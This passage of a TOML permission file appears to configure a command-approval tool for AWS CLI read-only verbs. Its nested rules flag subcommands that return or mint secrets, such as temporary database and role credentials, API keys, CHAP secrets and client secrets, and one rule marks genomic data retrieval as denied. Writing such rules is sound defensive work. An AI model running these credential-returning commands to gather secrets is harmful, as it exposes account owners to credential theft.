first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-signed-bluinsights-url"
profile = "credential-mint"
fact = "A single sign-on (SSO) AWS Blu Insights URL (`signedBiUrl`) that authenticates the bearer into Blu Insights — a bearer access credential"
source = "https://docs.aws.amazon.com/cli/latest/reference/m2/get-signed-bluinsights-url.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "macie2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-sensitive-data-occurrences"
profile = "credential-read"
fact = "The actual sensitive data values that Macie extracted from an S3 object for a finding (e.g. SSNs, credit card numbers, credentials, secret keys, PII) — the raw detected occurrences, not just metadata"
source = "https://docs.aws.amazon.com/cli/latest/reference/macie2/get-sensitive-data-occurrences.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "managedblockchain"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-accessor"
profile = "credential-read"
fact = "BillingToken — a 42-character token used to authenticate/sign JSON-RPC calls to the blockchain network (AMB Access Ethereum/Bitcoin/Polygon nodes)"
source = "https://docs.aws.amazon.com/cli/latest/reference/managedblockchain/get-accessor.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "mediaconnect"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mediaconvert"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "medialive"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mediapackage"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-channel"
profile = "credential-read"
fact = "HLS ingest credentials — system-generated Username and Password in HlsIngest.IngestEndpoints"
source = "https://docs.aws.amazon.com/cli/latest/reference/mediapackage/describe-channel.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-channels"
profile = "credential-read"
fact = "For every channel, the HLS ingest Username and Password in each channel's HlsIngest.IngestEndpoints — a bulk credential dump across all channels"
source = "https://docs.aws.amazon.com/cli/latest/reference/mediapackage/list-channels.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "mediastore"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mediatailor"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "medical-imaging"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "memorydb"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mgn"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mq"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mturk"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "mwaa"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "neptune"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "neptune-graph"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "network-firewall"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "networkmanager"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "notifications"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "oam"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "omics"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-read-set"
profile = "bulk-object-read"
fact = "Streams bulk raw genomic sequence read-set file data (BAM/CRAM/FASTQ payload) — sensitive human genomic / PHI content — directly to the caller."
source = "https://docs.aws.amazon.com/cli/latest/reference/omics/get-read-set.html"
judgment = "Raw genomic file content retrieval; denied. Tier is conservative and unsettled — see the bulk-object-read archetype note."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "opensearch"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "opensearchserverless"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "organizations"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "outposts"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "personalize"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "pi"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "pinpoint"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-baidu-channel"
profile = "credential-read"
fact = "credential — the Baidu Cloud Push API key in the BaiduChannelResponse.Credential field (required, always populated)"
source = "https://docs.aws.amazon.com/pinpoint/latest/apireference/apps-application-id-channels-baidu.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-gcm-channel"
profile = "credential-read"
fact = "credential — the Google FCM/GCM Web API Key (aka API_KEY / server key) in the GCMChannelResponse.Credential field"
source = "https://docs.aws.amazon.com/pinpoint/latest/apireference/apps-application-id-channels-gcm.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "pipes"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "polly"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "pricing"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "proton"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "quicksight"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-dashboard-embed-url"
profile = "credential-mint"
fact = "A single-use EmbedUrl containing an auth_code that enables one sign-on to a dashboard user session valid for up to 10 hours (a temporary access credential)"
source = "https://docs.aws.amazon.com/cli/latest/reference/quicksight/get-dashboard-embed-url.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-session-embed-url"
profile = "credential-mint"
fact = "A single-use EmbedUrl containing an auth_code that enables one sign-on to a QuickSight console user session valid for 10 hours (a temporary access credential)"
source = "https://docs.aws.amazon.com/cli/latest/reference/quicksight/get-session-embed-url.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "ram"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "rbin"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "rds-data"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "redshift"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-cluster-credentials"
profile = "credential-mint"
fact = "temporary database credentials (DbUser + DbPassword) for the cluster"
source = "https://docs.aws.amazon.com/cli/latest/reference/redshift/get-cluster-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-cluster-credentials-with-iam"
profile = "credential-mint"
fact = "temporary database credentials (DbUser + DbPassword + Expiration) derived from IAM identity"
source = "https://docs.aws.amazon.com/cli/latest/reference/redshift/get-cluster-credentials-with-iam.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "redshift-data"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "redshift-serverless"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-credentials"
profile = "credential-mint"
fact = "temporary database credentials (dbUser + dbPassword) for the serverless workgroup"
source = "https://docs.aws.amazon.com/cli/latest/reference/redshift-serverless/get-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "rekognition"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "resiliencehub"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "resource-explorer-2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "resource-groups"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "resourcegroupstaggingapi"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "rolesanywhere"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "route53-recovery-control-config"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "route53-recovery-readiness"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "route53domains"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "route53profiles"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "route53resolver"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "rum"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "s3control"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-data-access"
profile = "credential-mint"
fact = "temporary S3 Access Grants credentials (AccessKeyId, SecretAccessKey, SessionToken) for the grantee to access S3 data"
source = "https://docs.aws.amazon.com/cli/latest/reference/s3control/get-data-access.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "savingsplans"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "scheduler"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "schemas"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "securityhub"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "securitylake"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "serverlessrepo"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "service-quotas"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "servicecatalog"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "servicediscovery"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "shield"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "signer"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ssm-contacts"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ssm-incidents"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "sso"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-role-credentials"
profile = "credential-mint"
fact = "temporary AWS credentials (accessKeyId, secretAccessKey, sessionToken, expiration) for a role in an account"
source = "https://docs.aws.amazon.com/cli/latest/reference/sso/get-role-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "sso-admin"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "storagegateway"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-chap-credentials"
profile = "credential-read"
fact = "iSCSI CHAP authentication secrets (SecretToAuthenticateInitiator and SecretToAuthenticateTarget) used to authenticate initiators/targets against stored/cached volume targets"
source = "https://docs.aws.amazon.com/cli/latest/reference/storagegateway/describe-chap-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "sts"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "support"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "swf"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "synthetics"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "textract"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "timestream-query"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "transcribe"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "transfer"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "translate"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "trustedadvisor"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "verifiedpermissions"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "vpc-lattice"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "waf"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "waf-regional"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "wellarchitected"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "workdocs"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "workmail"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "workspaces"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "workspaces-web"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-identity-provider"
profile = "credential-read"
fact = "The identityProviderDetails map is returned in plaintext, including client_secret for OIDC/Google/Facebook/LoginWithAmazon providers and private_key for Sign in with Apple providers."
source = "https://docs.aws.amazon.com/workspaces-web/latest/APIReference/API_IdentityProvider.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "xray"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true